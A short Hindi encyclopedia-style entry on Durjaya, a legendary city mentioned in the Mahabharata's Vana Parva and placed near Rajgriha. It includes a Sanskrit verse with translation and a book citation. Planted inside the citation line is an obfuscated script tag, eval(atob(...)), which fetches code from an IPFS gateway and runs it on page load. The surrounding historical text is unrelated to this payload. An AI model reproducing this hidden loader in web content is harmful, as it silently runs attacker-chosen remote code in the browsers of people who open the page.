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दुर्जया

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दुर्जया एक पौराणिक नगरी का नाम है, जिसका उल्लेख महाभारत, वनपर्व में आया है। ऐसा माना जाता है कि यह नगरी राजगृह (बिहार) के निकट स्थित थी।

'तत: स संप्रस्थितो राजा कौन्तेयो भूरिदक्षिण: अगस्त्याश्रममासाद्य दुर्जयायामुवास ह'[1]

अर्थात् "गया से चलकर प्रचुर दक्षिणा दान करने वाले युधिष्ठिर ने अगस्त्याश्रम में पहुँच कर दुर्जयापुरी में निवास किया।"

  • विश्वास किया जाता है कि दुर्जया नगरी राजगृह के निकट ही थी।
  • सम्भवत: दुर्जया को ही महाभारत, वनपर्व[2] में 'मणिमति' नगरी कहा है।
  • मणितमति नगरी नागों की उपासना के लिए प्रसिद्ध थी।


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टीका टिप्पणी और संदर्भ

ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 439 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. महाभारत, वनपर्व 96, 1.
  2. महाभारत, वनपर्व 69, 4

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